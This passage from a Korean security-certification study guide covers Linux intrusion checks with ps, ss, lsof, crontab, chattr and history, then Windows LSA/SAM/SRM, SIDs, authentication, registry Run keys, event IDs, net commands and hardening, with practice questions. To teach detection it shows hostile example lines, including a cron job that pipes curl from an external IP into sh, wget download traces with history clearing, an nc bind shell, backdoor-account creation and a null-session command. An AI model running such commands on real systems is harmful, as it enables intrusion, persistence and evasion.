?= 터미널 없음, 데몬) / CPU 누적 시간 / 명령 - 아래 두 줄: 웹 서버(httpd)의 자식으로 셸이 뜨고,
/tmp숨김 디렉터리의 프로그램이 커널 스레드처럼 보이는 이름(kworker)으로 실행 → 웹셸을 통한 악성 프로세스 의심 패턴. 진짜 커널 스레드는[kworker/0:1]처럼 대괄호로 표시되고 PPID가 2(kthreadd)다. ps aux(BSD 형식):%CPU %MEM VSZ RSS STAT열 포함. STAT:R실행,S대기(sleep),D디스크 대기,Z좀비,T정지pstree -p: 부모-자식 관계를 나무 모양으로
netstat / ss — 열린 포트와 연결
$ ss -antp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=812,fd=3))
LISTEN 0 5 0.0.0.0:31337 0.0.0.0:* users:(("nc",pid=3401,fd=3))
ESTAB 0 0 192.168.0.10:22 192.168.0.5:50110 users:(("sshd",pid=2890,fd=4))
- 옵션:
-a전체,-n숫자,-tTCP,-uUDP,-lLISTEN만,-p프로세스 - 2번째 줄:
nc(netcat)가 31337 포트에서 대기 → 바인드 셸(백도어) 의심 netstat -antp도 같은 역할(최신 배포판은 net-tools 미설치 시ss사용)
lsof — 프로세스가 연 파일·소켓
$ sudo lsof -i :31337
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nc 3401 root 3u IPv4 45678 0t0 TCP *:31337 (LISTEN)
$ sudo lsof -p 3401 # 해당 프로세스가 연 모든 파일
$ sudo lsof +L1 # 삭제됐지만 아직 열려 있는 파일 (링크 수 0)
- 공격자가 실행 파일을 지워도 프로세스가 살아 있으면
lsof나/proc/<PID>/exe로 흔적을 찾을 수 있다. ls -l /proc/3401/exe→/tmp/.x/nc (deleted)같은 결과가 나온다.
crontab — 예약 작업 (지속성 점검)
$ crontab -l # 내 예약 작업 보기 (-e 편집, -r 삭제, -u user1 다른 사용자)
# 분 시 일 월 요일 명령
0 2 * * * /root/backup.sh ← 매일 02:00
*/5 * * * * curl -s http://203.0.113.66/a.sh | sh ← ⚠️ 5분마다 외부 스크립트 실행
| 필드 | 범위 |
|---|---|
| 분 | 0~59 |
| 시 | 0~23 |
| 일 | 1~31 |
| 월 | 1~12 |
| 요일 | 0~7 (0과 7 = 일요일) |
*모든 값,*/55마다,1-5범위(월~금),1,15목록- 위치: 시스템
/etc/crontab,/etc/cron.d/,/etc/cron.daily|hourly|weekly|monthly/, 사용자별/var/spool/cron/<사용자>(RHEL) ·/var/spool/cron/crontabs/<사용자>(Debian) - 접근 제어:
/etc/cron.allow가 있으면 거기 적힌 사용자만 사용 가능. 없으면/etc/cron.deny에 적힌 사용자만 금지. (at.allow/at.deny도 같은 규칙) - 공격자는 cron에 악성 명령을 넣어 재부팅·삭제 후에도 다시 살아나는 지속성을 확보한다.
chattr / lsattr — 파일 속성 (root도 막는 잠금)
$ sudo chattr +i /etc/passwd # immutable: 수정·삭제·이름변경·링크 불가 (root 포함)
$ sudo chattr +a /var/log/secure # append-only: 끝에 추가만 가능, 기존 내용 수정·삭제 불가
$ lsattr /etc/passwd /var/log/secure
----i---------e------- /etc/passwd
-----a--------e------- /var/log/secure
$ sudo chattr -i /etc/passwd # 해제
+i는 중요 설정 파일 보호,+a는 로그 파일 보호에 적합(로그는 계속 추가돼야 하므로+i는 부적합).- 반대로 공격자가 자기 백도어 파일에
+i를 걸어 관리자의 삭제를 방해하기도 한다 → 삭제가 안 되면lsattr부터 확인. - (ext 계열 파일시스템 기준.
e는 extent 사용 표시로 보안과 무관)
history — 명령 이력
$ history | tail -3
1021 wget http://203.0.113.66/x.tar.gz
1022 tar xzf x.tar.gz -C /tmp/.x
1023 history -c
HISTSIZE(메모리 보관 개수),HISTFILESIZE(파일 보관 개수),HISTFILE(저장 파일),HISTTIMEFORMAT="%F %T "를 설정하면 명령마다 실행 시각이 표시된다.- 이력은 셸이 종료될 때 파일에 저장되는 것이 기본이라, 실시간 감사에는 한계가 있다.
⚠️ 시험 함정
- priority는 숫자가 작을수록 심각(0 = emerg). "debug가 가장 높은 레벨"(X).
*.warning→ warning 이상(warning, err, crit, alert, emerg). "warning만"(X) — "만"은=warning.none= 기록 안 함. "none = 우선순위가 없는 메시지"(X).@= UDP,@@= TCP (rsyslog). 원격 syslog 기본 포트 UDP 514.- auth vs authpriv: authpriv는 민감 정보용으로 root만 읽는 파일(secure)에 기록.
- cron.allow가 존재하면 deny는 무시된다. 둘 다 없으면 배포판에 따라 root만 또는 모두 허용.
chattr +i는 root도 수정 못 함(해제하기 전까지). 일반 chmod 권한과 다른 차원.- crontab 요일 0과 7은 모두 일요일.
기출 포인트
- syslog 설정 줄 해석:
*.info;mail.none;authpriv.none /var/log/messages같은 줄에서 무엇이 기록되고 빠지는지,*.emerg *의 의미를 묻는다. - priority 순서: 높은 순/낮은 순으로 나열된 보기 중 옳은 것 고르기.
- 원격 로그 전송:
@호스트, UDP 514, 로그 무결성 확보 목적. - 명령어 용도:
lsof,chattr,crontab,ps의 쓰임과 옵션. 실기에서 crontab 필드 해석·작성이 단답형으로 나온다. - 침해 흔적 판단: 출력 예시(ps/ss/crontab)를 주고 의심 항목을 고르게 하는 상황형.
확인 문제
Q1. rsyslog 설정 mail.err /var/log/mailerr에 의해 기록되는 메시지가 아닌 것은?
① mail.crit ② mail.alert ③ mail.warning ④ mail.emerg
정답: ③
mail.err는 err 이상(err, crit, alert, emerg)을 기록한다.- ③ warning은 err보다 낮은 레벨이라 기록되지 않는다.
Q2. syslog priority를 심각도가 높은 것부터 바르게 나열한 것은?
① emerg > crit > alert > err ② alert > emerg > err > warning ③ emerg > alert > crit > err ④ crit > emerg > alert > notice
정답: ③
- 순서: emerg(0) > alert(1) > crit(2) > err(3) > warning(4) > notice(5) > info(6) > debug(7).
- ① crit과 alert 순서가 바뀜. ② emerg가 가장 높아야 함. ④ crit이 맨 앞일 수 없음.
Q3. 로그 파일이 삭제·수정되지 않고 내용 추가만 가능하도록 할 때 적절한 명령은?
① chmod 444 /var/log/secure ② chattr +i /var/log/secure ③ chattr +a /var/log/secure ④ chown nobody /var/log/secure
정답: ③
- ① 틀림: 읽기 전용이면 syslog도 쓸 수 없고, root는 권한 비트를 무시할 수 있다.
- ② 틀림:
+i는 추가도 불가라 로그가 더 이상 기록되지 않는다. - ③ 맞음: append-only.
- ④ 틀림: 소유자 변경은 목적과 무관하며 기록 장애를 일으킬 수 있다.
Q4. crontab 항목 30 4 * * 1-5 /root/check.sh의 실행 시점은?
① 매월 1~5일 04:30 ② 월~금요일 04:30 ③ 매일 4시 30분마다 1~5회 ④ 1~5월 매일 04:30
정답: ②
- 필드 순서: 분(30) 시(4) 일() 월() 요일(1-5 = 월~금).
- ① 틀림: 1-5가 일 필드(세 번째)에 있어야 하는 해석.
- ③ 틀림: 존재하지 않는 해석.
- ④ 틀림: 1-5가 월 필드(네 번째)에 있어야 하는 해석.
Q5. /etc/cron.allow 파일이 존재하고 user1만 적혀 있으며, /etc/cron.deny에는 user2가 적혀 있다. user3의 crontab 사용 가능 여부는?
① 사용 가능 — deny에 없으므로 ② 사용 불가 — allow에 없으므로 ③ 사용 가능 — root가 아니므로 ④ 설정 충돌로 모두 사용 불가
정답: ②
- cron.allow가 존재하면 allow에 적힌 사용자만 쓸 수 있고 deny는 보지 않는다.
- ① 틀림: allow가 없을 때의 규칙.
- ③ ④ 틀림: 근거 없는 해석.
Day 6 · 윈도우 기초 · 기본 하드닝 입문
6-1. 윈도우 보안 구조 — 로그온은 누가 처리하나
윈도우에서 사용자가 로그온하면 여러 구성요소가 역할을 나눠 처리한다. 시험에는 LSA, SAM, SRM 세 가지 역할 구분이 자주 나온다.
flowchart LR
U["사용자 Ctrl+Alt+Del, ID/PW 입력"] --> W["Winlogon (로그온 화면)"]
W --> L["LSA (lsass.exe) 로컬 보안 인증"]
L --> S{"로컬 계정?"}
S -- "예" --> SAM["SAM DB 해시 비교"]
S -- "도메인 계정" --> DC["도메인 컨트롤러 Kerberos/NTLM"]
SAM --> T["액세스 토큰 생성 (SID, 그룹, 권한)"]
DC --> T
T --> SRM["SRM 파일 등 접근 시 토큰과 ACL 비교, 감사 로그 생성"]| 구성요소 | 역할 |
|---|---|
LSA(Local Security Authority, lsass.exe) |
로그온 인증 처리, 보안 정책 관리, 액세스 토큰 생성, 감사 정책 관리. 메모리에 자격 증명이 있어 Mimikatz 등 자격증명 탈취의 표적 |
| SAM(Security Account Manager) | 로컬 사용자·그룹 계정 DB와 비밀번호 해시 관리 |
| SRM(Security Reference Monitor) | 사용자가 객체(파일 등)에 접근할 때 토큰의 SID와 객체의 ACL을 비교해 허용/거부, 감사 메시지 생성. 커널 모드에서 동작 |
6-2. SAM 파일과 SID
SAM 파일: %SystemRoot%\System32\config\SAM (보통 C:\Windows\System32\config\SAM)
- 로컬 계정의 비밀번호 해시(NT 해시) 를 저장. 레지스트리
HKLM\SAM으로 로드된다. - 윈도우 실행 중에는 잠겨 있어 직접 복사할 수 없다 → 공격자는 볼륨 섀도 복사본, 레지스트리 덤프(
reg save), 다른 OS로 부팅 등을 시도. - 도메인 환경의 계정 DB는 도메인 컨트롤러의 NTDS.dit.
SID(Security Identifier): 윈도우가 사용자·그룹을 구분하는 고유 식별자. 이름을 바꿔도 SID는 그대로다(그래서 Administrator 이름만 바꿔도 SID로 찾아낼 수 있다).
S-1-5-21-3623811015-3361044348-30300820-500
│ │ │ │ └──────── 도메인/컴퓨터 고유 식별 값 ─┘ └ RID(상대 식별자)
│ │ │ └ 21 = 도메인·로컬 계정 범주
│ │ └ 5 = NT Authority
│ └ 리비전 1
└ SID임을 표시
| RID / SID | 의미 |
|---|---|
| 500 | Administrator (기본 관리자) |
| 501 | Guest |
| 502 | krbtgt (도메인의 Kerberos 티켓 서명 계정) |
| 512 / 513 | Domain Admins / Domain Users 그룹 |
| 1000 이상 | 일반 사용자·그룹 (생성 순서대로) |
| S-1-5-18 | Local System (SYSTEM 계정) |
| S-1-1-0 | Everyone |
| S-1-5-32-544 | 로컬 Administrators 그룹 |
C:\> whoami /user
사용자 이름 SID
==================== =============================================
desktop-01\user1 S-1-5-21-3623811015-3361044348-30300820-1001
6-3. 윈도우 인증 방식 — LM, NTLM, Kerberos
| 방식 | 동작 요약 | 약점 / 상태 |
|---|---|---|
| LM 해시 | 비밀번호를 대문자로 바꾸고 14자로 맞춘 뒤 7자씩 둘로 나눠 각각 DES로 해시 | 대소문자 구분 없음, 7자 단위로 따로 깨짐, Salt 없음 → 매우 취약, 비활성화 (Vista 이후 기본 저장 안 함) |
| NTLM(v1) | NT 해시 = 비밀번호(UTF-16)의 MD4 해시. 서버가 챌린지를 보내면 클라이언트가 해시로 응답 | Salt 없음, 응답 크랙 가능 |
| NTLMv2 | 챌린지-응답을 HMAC-MD5 기반으로 강화 | v1보다 안전하나 Pass-the-Hash, NTLM 릴레이 위험은 여전 |
| Kerberos | 도메인(Active Directory) 기본 인증. 신뢰할 수 있는 제3자 KDC가 발급하는 티켓 사용 (포트 88) | 시간 동기화 필수(기본 허용 오차 5분), Golden/Silver Ticket, Kerberoasting 공격 |
NTLM 챌린지-응답 (3단계)
sequenceDiagram
participant C as 클라이언트
participant S as 서버
C->>S: ① NEGOTIATE (NTLM 쓸게요)
S->>C: ② CHALLENGE (무작위 값 8바이트)
C->>S: ③ AUTHENTICATE (NT 해시로 챌린지를 암호화한 응답)
Note over S: 저장된 해시로 같은 계산을 해서 비교 (도메인이면 DC에 확인)- 비밀번호 자체는 네트워크로 가지 않는다. 하지만 해시만 있으면 응답을 만들 수 있다 → 해시를 훔쳐 비밀번호 없이 로그인하는 Pass-the-Hash.
Kerberos 개요 (상세는 Week05_정보보안 일반 접근통제·인증에서)
- 로그온 시 KDC의 AS(인증 서비스)에게 인증 → TGT(티켓 발급용 티켓) 받음
- 파일 서버 등에 접근할 때 TGT를 KDC의 TGS(티켓 발급 서비스)에 제시 → 서비스 티켓 받음
- 서비스 티켓을 대상 서버에 제시 → 접근
- 비밀번호를 매번 보내지 않고 SSO(한 번 로그인으로 여러 서비스)를 구현.
6-4. 레지스트리 — 윈도우의 설정 데이터베이스
레지스트리는 OS·프로그램·사용자 설정을 저장하는 계층형 데이터베이스다(리눅스의 /etc 설정 파일들을 하나로 모은 것과 비슷). regedit, reg query로 본다.
| 루트 키 | 약어 | 내용 |
|---|---|---|
| HKEY_LOCAL_MACHINE | HKLM | 시스템 전체 설정 (하드웨어, 소프트웨어, 보안, 서비스) |
| HKEY_CURRENT_USER | HKCU | 현재 로그온한 사용자의 설정 (HKU<그 사용자 SID>를 가리키는 링크) |
| HKEY_USERS | HKU | 로드된 모든 사용자 프로필 |
| HKEY_CLASSES_ROOT | HKCR | 파일 확장자 연결, COM 객체 (HKLM·HKCU의 Software\Classes 병합) |
| HKEY_CURRENT_CONFIG | HKCC | 현재 하드웨어 프로필 (HKLM 하위 링크) |
하이브(Hive) 파일 — 레지스트리의 실제 저장 파일
| 키 | 파일 위치 |
|---|---|
| HKLM\SAM | %SystemRoot%\System32\config\SAM |
| HKLM\SECURITY | ...\config\SECURITY |
| HKLM\SOFTWARE | ...\config\SOFTWARE |
| HKLM\SYSTEM | ...\config\SYSTEM |
| HKCU | 사용자 프로필 폴더의 NTUSER.DAT |
자동 실행 키 — 악성코드의 단골 지속성(Persistence) 위치
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ← 모든 사용자 로그온 시 실행
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ← 한 번만 실행 후 삭제
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ← 해당 사용자 로그온 시 실행 (관리자 권한 없이도 등록 가능)
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SYSTEM\CurrentControlSet\Services ← 서비스 등록 정보
C:\> reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
OneDrive REG_SZ "C:\Users\user1\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
svch0st REG_SZ C:\Users\user1\AppData\Roaming\svch0st.exe
- 2번째 값: 정상 프로세스
svchost를 흉내 낸svch0st(숫자 0) 가 사용자 AppData에서 자동 실행 → 악성코드 의심 - 그 외 지속성 위치: 시작프로그램 폴더, 예약 작업(
schtasks), 서비스, WMI 이벤트 구독. 종합 점검 도구로 Sysinternals Autoruns가 널리 쓰인다.
6-5. 이벤트 로그
윈도우 로그는 이벤트 뷰어(eventvwr.msc)로 본다. 파일은 %SystemRoot%\System32\winevt\Logs\*.evtx.
| 로그 | 내용 |
|---|---|
| 응용 프로그램 (Application) | 프로그램이 남긴 이벤트 |
| 보안 (Security) | 로그온·로그오프, 계정 관리, 객체 접근, 정책 변경 — 감사 정책을 켜야 기록 |
| 시스템 (System) | 드라이버·서비스 등 OS 구성요소 이벤트 |
| 설치 (Setup), 전달된 이벤트 (Forwarded Events) | 업데이트 설치, 다른 PC에서 수집한 이벤트 |
핵심 이벤트 ID (Vista/Server 2008 이후)
| ID | 로그 | 의미 | 보안 해석 |
|---|---|---|---|
| 4624 | 보안 | 로그온 성공 | 로그온 유형(Logon Type) 함께 확인 |
| 4625 | 보안 | 로그온 실패 | 다수 발생 → 무차별 대입 |
| 4634 | 보안 | 로그오프 | (4647 = 사용자가 직접 로그오프 시작) |
| 4648 | 보안 | 명시적 자격증명으로 로그온 시도 (runas 등) | |
| 4672 | 보안 | 특수 권한(관리자급) 할당된 로그온 | 관리자 로그온 추적 |
| 4688 | 보안 | 새 프로세스 생성 | 감사 설정 필요 |
| 4720 | 보안 | 사용자 계정 생성 | 공격자의 백도어 계정 |
| 4722 / 4724 / 4726 | 보안 | 계정 활성화 / 비밀번호 재설정 시도 / 계정 삭제 | |
| 4732 | 보안 | 보안이 설정된 로컬 그룹에 구성원 추가 | Administrators 그룹 추가 확인 |
| 4740 | 보안 | 계정 잠김 | |
| 1102 | 보안 | 보안 감사 로그 삭제됨 | 흔적 지우기 강력 의심 |
| 104 | 시스템 | 보안 로그 외의 이벤트 로그(시스템 등) 삭제 | 흔적 지우기 |
| 7045 | 시스템 | 새 서비스 설치 | 악성 서비스 등록 |
(구형 XP/2003의 528 로그온 성공, 529 실패, 517 로그 삭제 등은 옛 번호 — 현재 번호와 혼동 주의)
로그온 유형(Logon Type) — 4624/4625 안의 값
| 유형 | 의미 |
|---|---|
| 2 | Interactive — 콘솔에서 직접 |
| 3 | Network — 공유 폴더 접근 등 네트워크 경유 |
| 4 | Batch — 예약 작업 |
| 5 | Service — 서비스 시작 |
| 7 | Unlock — 잠금 해제 |
| 10 | RemoteInteractive — 원격 데스크톱(RDP) |
| 11 | CachedInteractive — 캐시된 자격증명 |
예: 새벽에 외부 IP에서 4625(Type 10)가 수백 건 → 이어서 4624(Type 10) → RDP 무차별 대입 후 성공. 직후 4720(계정 생성), 4732(관리자 그룹 추가), 마지막에 1102(로그 삭제)가 보이면 전형적인 침해 흐름이다.
6-6. net 명령과 기본 공유, 널 세션
| 명령 | 용도 |
|---|---|
net user |
로컬 사용자 목록 |
net user user1 |
특정 사용자 상세(마지막 로그온, 소속 그룹) |
net user hacker P@ss /add |
사용자 추가 (공격자가 자주 쓰는 형태) |
net localgroup administrators |
관리자 그룹 구성원 확인 |
net localgroup administrators hacker /add |
관리자 그룹에 추가 |
net accounts |
비밀번호 정책(최소 길이, 최대 사용 기간, 잠금 임계값) |
net share |
공유 폴더 목록 |
net share C$ /delete |
공유 삭제 (기본 공유는 재부팅 시 다시 생길 수 있음) |
net session |
내 컴퓨터에 연결된 원격 세션 |
net use |
원격 공유 연결 |
tasklist / netstat -ano |
프로세스 목록 / 연결과 PID |
C:\> net share
공유 이름 리소스 설명
-------------------------------------------------------------------------------
C$ C:\ 기본 공유
IPC$ 원격 IPC
ADMIN$ C:\Windows 원격 관리
명령을 잘 실행했습니다.
- 기본(관리) 공유: 이름 끝
$= 목록에서 숨김.C$(드라이브 전체),ADMIN$(Windows 폴더, 원격 관리용),IPC$(프로세스 간 통신, 명명된 파이프). - 관리자 계정 정보가 털리면
\\대상\C$로 디스크 전체에 접근 가능 → 공격 확산(측면 이동)에 악용. - 제거:
net share C$ /delete는 재부팅하면 다시 생성되므로, 레지스트리HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters의AutoShareServer(서버) /AutoShareWks(워크스테이션) = 0으로 설정.
널 세션(Null Session)
C:\> net use \\192.168.0.20\IPC$ "" /user:""
- 사용자 이름·비밀번호를 빈 값으로 IPC$에 연결하는 것. 구형 윈도우는 이를 허용해 계정 목록, 공유 목록, 정책 등을 익명으로 열람할 수 있었다 → 공격 전 정보 수집.
- 대응: 레지스트리
HKLM\SYSTEM\CurrentControlSet\Control\Lsa의RestrictAnonymous(및RestrictAnonymousSAM) 설정, 로컬 보안 정책 "익명 SAM 계정 열거 허용 안 함", 외부에서 139/445 차단.
6-7. 기본 하드닝(보안 강화) 입문
하드닝은 "필요한 것만 남기고, 남긴 것은 안전하게"가 원칙이다. 국내에서는 KISA의 주요정보통신기반시설 기술적 취약점 분석·평가 가이드(유닉스 서버, 윈도우 서버 항목)가 점검 기준으로 널리 쓰이며, 8주차 Week08_시스템 보안에서 항목별로 다룬다. 여기서는 이번 주 배운 내용과 연결되는 대표 항목만 본다.
| 영역 | 리눅스/유닉스 | 윈도우 |
|---|---|---|
| 관리자 계정 | PermitRootLogin no, securetty 제한, UID 0 계정은 root만 |
Administrator 이름 변경, Guest 비활성화 |
| 비밀번호 정책 | login.defs/chage (최대 사용 기간), pwquality (복잡도) | net accounts, 로컬 보안 정책(최소 길이·복잡성) |
| 잠금 정책 | pam_faillock (deny, unlock_time) | 계정 잠금 임계값 |
| 관리자 전환 | su를 wheel 그룹만 (pam_wheel), sudo 최소 권한 | UAC 사용 |
| 파일 권한 | passwd 644, shadow 400(또는 배포판 기본), 불필요한 SUID 제거, world-writable 점검 | 공유 폴더 Everyone 권한 제거 |
| 기본값 | umask 022 이상(027 권장) | 기본 공유 제거(AutoShare), 널 세션 제한(RestrictAnonymous) |
| 서비스 | Telnet·FTP·r 계열 비활성화, 불필요한 데몬 중지 | 불필요한 서비스 중지, SMBv1 비활성화 |
| 로그 | rsyslog 설정, 원격 로그 서버, logrotate 보관 기간 | 감사 정책 설정, 이벤트 로그 크기·보관 |
| 자동 실행 | crontab·cron.allow 점검 | Run 키·예약 작업 점검 |
| 패치 | 보안 업데이트 | Windows Update |
⚠️ 시험 함정
- SID 500 = Administrator, 501 = Guest. 1000 이상이 일반 사용자. 이름을 바꿔도 SID는 그대로.
- SAM = 계정 DB, SRM = 접근 권한 검사, LSA = 인증·정책·토큰. 역할 바꿔치기 보기 단골.
- LM 해시는 대문자 변환 + 7자씩 분할 + DES. "LM은 Salt를 사용한다"(X), "NTLM은 SHA-256 사용"(X, MD4).
- 4624 성공 / 4625 실패 / 4634 로그오프 / 4720 계정 생성 / 1102 감사 로그 삭제. 528/529는 구형 번호.
- RDP 로그온은 Logon Type 10, 공유 폴더 접근은 Type 3.
- HKCU 자동 실행 키는 일반 사용자 권한으로도 등록 가능하다(그래서 악성코드가 선호). HKLM은 관리자 권한 필요.
net share C$ /delete만으로는 재부팅 후 다시 생긴다 → AutoShareServer/AutoShareWks 레지스트리.- **IPC$**는 파일 공유가 아니라 프로세스 간 통신용 공유. 널 세션의 대상.
기출 포인트
- 윈도우 보안 구성요소(LSA/SAM/SRM) 역할 매칭: 꾸준히 나오는 개념 문제.
- SID 구조와 RID: Administrator/Guest 번호, "이름을 바꿔도 식별 가능한 이유".
- 레지스트리 루트키 설명 매칭과 자동 실행(Run) 키 경로: 악성코드 지속성 점검 문제로 출제.
- 이벤트 ID: 로그온 성공/실패, 로그 삭제(1102) 번호를 묻거나, 이벤트 흐름을 보여주고 공격 단계를 해석하게 한다.
- 기본 공유·널 세션: 위험성과 레지스트리 대응값(AutoShareServer, RestrictAnonymous).
- 인증 프로토콜 비교: LM/NTLM/NTLMv2/Kerberos 특징과 취약점(Pass-the-Hash).
확인 문제
Q1. 윈도우 보안 구성요소에 대한 설명으로 옳은 것은?
① SAM은 객체 접근 시 ACL을 검사하여 허용 여부를 결정한다.
② SRM은 사용자 계정과 비밀번호 해시를 저장하는 데이터베이스이다.
③ LSA는 로그온 인증과 보안 정책을 관리하고 액세스 토큰을 생성한다.
④ Winlogon은 커널 모드에서 객체 접근을 감사한다.
정답: ③
- ① 틀림: ACL 검사는 SRM.
- ② 틀림: 계정 DB는 SAM.
- ③ 맞음.
- ④ 틀림: Winlogon은 로그온 화면·절차를 담당하는 사용자 모드 프로세스. 접근 감사는 SRM.
Q2. 침해사고 분석 중 보안 이벤트 로그에서 공격자의 흔적 삭제를 가장 직접적으로 보여주는 이벤트 ID는?
① 4624 ② 4625 ③ 4720 ④ 1102
정답: ④
- ① 로그온 성공, ② 로그온 실패, ③ 계정 생성.
- ④ 맞음: 보안 감사 로그가 지워졌다는 기록. 지운 행위 자체가 남는다.
Q3. 다음 SID 중 기본 Administrator 계정을 나타내는 것은?
① S-1-5-21-...-500 ② S-1-5-21-...-501 ③ S-1-5-21-...-1001 ④ S-1-5-18
정답: ①
- ② 501은 Guest.
- ③ 1000 이상은 일반 사용자.
- ④ S-1-5-18은 Local System(SYSTEM) 계정으로 Administrator와 다르다.
Q4. 재부팅 후에도 윈도우 서버의 기본 관리 공유(C
① net share C$ /delete만 실행한다.
② HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters의 AutoShareServer 값을 0으로 설정한다.
③ HKCU의 Run 키에 공유 삭제 명령을 등록한다.
④ RestrictAnonymous 값을 0으로 설정한다.
정답: ②
- ① 틀림: 일시적 삭제. 재부팅 시 다시 생성된다.
- ② 맞음: 서버는 AutoShareServer, 워크스테이션은 AutoShareWks.
- ③ 틀림: 로그온 시마다 삭제하는 우회책일 뿐 표준 조치가 아니며, 사용자 로그온 전에는 공유가 열려 있다.
- ④ 틀림: RestrictAnonymous는 널 세션 제한 설정이고, 0은 오히려 제한 없음(기본값)이다.
Q5. LM 해시가 취약한 이유로 옳지 않은 것은?
① 비밀번호를 대문자로 변환하여 대소문자 구분이 없다.
② 14자를 7자씩 나누어 각각 해시하므로 따로 크랙할 수 있다.
③ Salt를 사용하지 않는다.
④ SHA-512를 사용하지만 반복 횟수가 적다.
정답: ④
- ①②③ 실제 LM 해시의 약점.
- ④ 틀림: LM은 DES 기반이다. SHA-512는 리눅스
$6$해시.
Day 7 · 주간 정리
이번 주 한 장 정리 (마인드맵)
- OS 기본
- 커널(핵심 관리) / 셸(명령 해석기) / 응용
- 사용자 모드 ↔ 커널 모드, 시스템 콜
- 프로세스: PID, PPID, PID 1 = init/systemd, 데몬, 좀비(Z)
- 메모리: 코드 → 데이터 → BSS → 힙(↑) … 스택(↓, 복귀 주소) → 버퍼 오버플로우
- 파일과 권한
- 디렉터리: /etc 설정, /var/log 로그, /tmp 임시(1777), /proc 가상, /dev 장치
- 파일 종류: - d l b c p s /
ls -l열: 종류·권한·링크수·소유자·그룹·크기·시각·이름 - rwx = 4·2·1 / 디렉터리 w = 생성·삭제, x = 진입
- chmod(숫자·기호), chown(root만), chgrp
- 특수 권한: SUID 4000(소유자 권한 실행), SGID 2000(그룹/상속), Sticky 1000(소유자만 삭제)
- 대문자 S/T = x 없음 / 점검
find / -user root -perm -4000 -type f - umask: 파일 666 · 디렉터리 777에서 비트 마스킹 (022 → 644/755, 027 → 640/750)
- 계정
- /etc/passwd 7필드(이름:x:UID:GID:설명:홈:셸), 644
- /etc/shadow 9필드(이름:해시:변경일:최소:최대:경고:비활성:만료:예약), root만
- 해시
$1$MD5 ·$5$SHA-256 ·$6$SHA-512 ·$y$yescrypt, Salt → 레인보우 테이블 방어 - login.defs(PASS_MAX_DAYS…), chage
- PAM: auth/account/password/session, required(계속)·requisite(즉시중단)·sufficient
- pam_faillock(잠금), pam_pwquality(복잡도), pam_wheel(su 제한)
- su(대상 비번) vs sudo(내 비번, visudo), PermitRootLogin no
- 로그
- utmp(w/who) · wtmp(last, 재부팅) · btmp(lastb) · lastlog(lastlog) · pacct(lastcomm)
- secure=auth.log · messages=syslog · dmesg · xferlog(i/o, a/g/r, c/i) · sulog(유닉스)
- syslog: facility.priority action, emerg(0) ~ debug(7), "이상" 기록, none, @ UDP 514
- logrotate: rotate, compress, create, postrotate
- 명령: ps -ef(PPID), ss/netstat -antp, lsof -i/-p, crontab(분시일월요일, allow 우선), chattr +i/+a, history
- 윈도우
- LSA(인증·토큰) · SAM(계정 DB) · SRM(ACL 검사)
- SID: 500 Administrator, 501 Guest, 1000+ 사용자
- LM(대문자, 7자 분할, DES) → NTLM(MD4) → NTLMv2 → Kerberos(TGT, 88)
- 레지스트리 HKLM/HKCU/HKU/HKCR/HKCC, Run 키
- 이벤트: 4624/4625/4634/4720/4732/1102, Logon Type 3·10
- net user/localgroup/share, C
·IPC$, AutoShareServer, RestrictAnonymous
미니 모의고사 (15문항)
M1. drwxrwsr-x 디렉터리에 대한 설명으로 옳은 것은?
① SUID가 설정되어 있다. ② 이 디렉터리에서 생성한 파일은 디렉터리의 그룹을 상속한다. ③ 소유자만 파일을 삭제할 수 있다. ④ 숫자로 1775이다.
정답: ② — 그룹 자리의 s = SGID(2775). 디렉터리 SGID는 그룹 상속. ① SUID는 소유자 자리, ③ Sticky 설명, ④ 1775는 Sticky.
M2. umask가 077일 때 새로 만든 디렉터리의 권한은?
① 600 ② 700 ③ 770 ④ 077
정답: ② — 777에서 그룹·기타 비트를 모두 끈다 → 700. ① 600은 파일의 결과, ④는 umask 값 자체.
M3. 다음 중 누구나 읽을 수 있는 것이 정상인 파일은?
① /etc/shadow ② /etc/passwd ③ /var/log/btmp ④ /etc/sudoers
정답: ② — passwd는 이름↔UID 변환에 필요해 644가 정상. ① 해시 보관, ③ 실패 기록(비밀번호 오입력 노출 가능), ④ 권한 설정 파일 — 모두 제한해야 한다.
M4. /etc/shadow의 두 번째 필드가 !$6$abc$... 형태인 계정의 상태는?
① 비밀번호 없이 로그인 가능 ② passwd -l 등으로 잠긴 계정 ③ MD5로 해시된 계정 ④ 다음 로그인 시 비밀번호 변경 강제
정답: ② — 해시 앞의 !는 잠금 표시. ① 빈 필드일 때, ③ $1$일 때, ④ 마지막 변경일 필드가 0일 때.
M5. 시스템 재부팅 이력을 확인하는 명령과 참조 파일로 옳은 것은?
① lastb - btmp ② last reboot - wtmp ③ who - utmp ④ lastlog - lastlog
정답: ② — 재부팅·종료 기록은 wtmp. ① 로그인 실패, ③ 현재 로그인 사용자, ④ 계정별 마지막 로그인.
M6. 사용자가 실행한 명령어 이름을 기록하며 lastcomm으로 확인하는 로그는?
① utmp ② pacct ③ messages ④ secure
정답: ② — 프로세스 accounting. accton으로 기록을 켜야 한다. 나머지는 명령 실행 이력을 이런 형태로 남기지 않는다.
M7. syslog 설정 *.info;mail.none;authpriv.none /var/log/messages에 대한 설명으로 옳은 것은?
① 모든 메시지를 debug 레벨까지 기록한다.
② mail과 authpriv 메시지는 messages에 기록하지 않는다.
③ info 레벨의 메시지만 정확히 기록한다.
④ 원격 서버로 전송하는 설정이다.
정답: ② — none은 해당 facility 제외. ① debug는 info보다 낮아 제외, ③ "정확히"는 =info, ④ 원격 전송은 @호스트.
M8. 리눅스 PAM 설정에서 일정 횟수 이상 로그인에 실패한 계정을 잠그는 데 사용하는 모듈은?
① pam_wheel ② pam_faillock ③ pam_limits ④ pam_env
정답: ② — (구형 pam_tally2). ① su 제한, ③ 자원 제한(프로세스 수 등), ④ 환경 변수 설정.
M9. 다음 중 SSH를 통한 root 직접 로그인을 차단하는 설정은?
